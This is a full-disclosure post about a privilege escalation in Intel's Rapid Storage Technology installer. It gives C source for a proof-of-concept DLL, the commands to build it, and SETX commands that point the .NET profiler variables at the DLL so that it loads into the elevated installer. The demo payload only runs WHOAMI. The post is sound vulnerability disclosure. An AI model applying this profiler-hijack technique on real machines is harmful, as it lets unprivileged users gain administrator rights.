Intel RST User Interface / Driver Privilege Escalation Exploit

Hi @ll,

more than 2 years ago I disclosed 2 vulnerabilities leading to
local escalation of privilege in the
Intel® Rapid Storage Technology (Intel® RST) User Interface and Driver:
see <https://seclists.org/fulldisclosure/2018/Nov/45>
and <https://seclists.org/fulldisclosure/2018/Nov/52>

Intel fixed this vulnerability only in their executable installer.

Some time later Intel rewrote or rebuilt this installer (see
<https://downloadcenter.intel.com/download/29978/Intel-Rapid-Storage-Technology-Driver-Installation-Software-with-Intel-Optane-Memor
y>
for its current version 18.0.1.1138, published 10/15/2020)
and incorporated the second vulnerability.

CVSS 3.0 score: 8.2 High
CVSS 3.0 vector: CVSS:3.0/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H

Demonstration:
~~~~~~~~~~~~~~

0. Save the following source as sentinel.c in an arbitrary directory:

--- sentinel.c ---
// Copyright (C) 2004-2021, Stefan Kanthak <[email protected]>

#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN

#include <windows.h>

const STARTUPINFO si = {sizeof(si)};

__declspec(safebuffers)
BOOL WINAPI _DllMainCRTStartup(HANDLE  hModule,
                               DWORD   dwReason,
                               CONTEXT *lpContext)
{
    WCHAR szCmdLine[] = L"CMD.exe /D /K WHOAMI.exe /ALL";

    PROCESS_INFORMATION pi;

    if (CreateProcess(NULL, szCmdLine, NULL, NULL, FALSE,
                      CREATE_DEFAULT_ERROR_MODE | CREATE_NEW_CONSOLE | CREATE_NEW_PROCESS_GROUP | CREATE_UNICODE_ENVIRONMENT,
                      NULL, NULL, &si, &pi))
    {
        CloseHandle(pi.hThread);
        CloseHandle(pi.hProcess);
    }

    return TRUE;
}
--- EOF ---

1. Start the command prompt of the 32-bit Windows Software Development Kit,
   then run the following command lines to compile sentinel.c and link it
   as sentinel.dll:

   cl.exe /Zl /W4 /O2 /GAFy /c sentinel.c
   link.exe /LINK /DLL /DYNAMICBASE /ENTRY:_DllMainCRTStartup /NODEFAULTLIB /NXCOMPAT /RELEASE /SUBSYSTEM:Windows sentinel.obj
kernel32.lib

ALTERNATIVE for steps 0 and 1:

1. Download <https://skanthak.homepage.t-online.de/download/SENTINEL.DLL>
   and save it in an arbitrary directory.

2. Logon with the user account created during Windows setup.

3. Start a command prompt (unelevated!) and run the following command lines
   (replace <directory> with the pathname of the directory where you built
   or saved sentinel.dll):

   SETX.exe COR_ENABLE_PROFILING 1
   SETX.exe COR_PROFILER {32E2F4DA-1BEA-47EA-88F9-C5DAF691C94A}
   SETX.exe COR_PROFILER_PATH <directory>\sentinel.dll

   JFTR: this is just one method to set these environment variables without
         the need to elevate!

4. Download <https://downloadmirror.intel.com/29978/eng/SetupRST.exe> and
   save it in an arbitrary directory.

5. Execute SetupRST.exe per double-click, acknowledge the UAC prompt, then
   admire the console windows showing the output of WHOAMI.exe running
   elevated.

stay tuned, and FAR AWAY from vulnerable crap built by Intel
Stefan Kanthak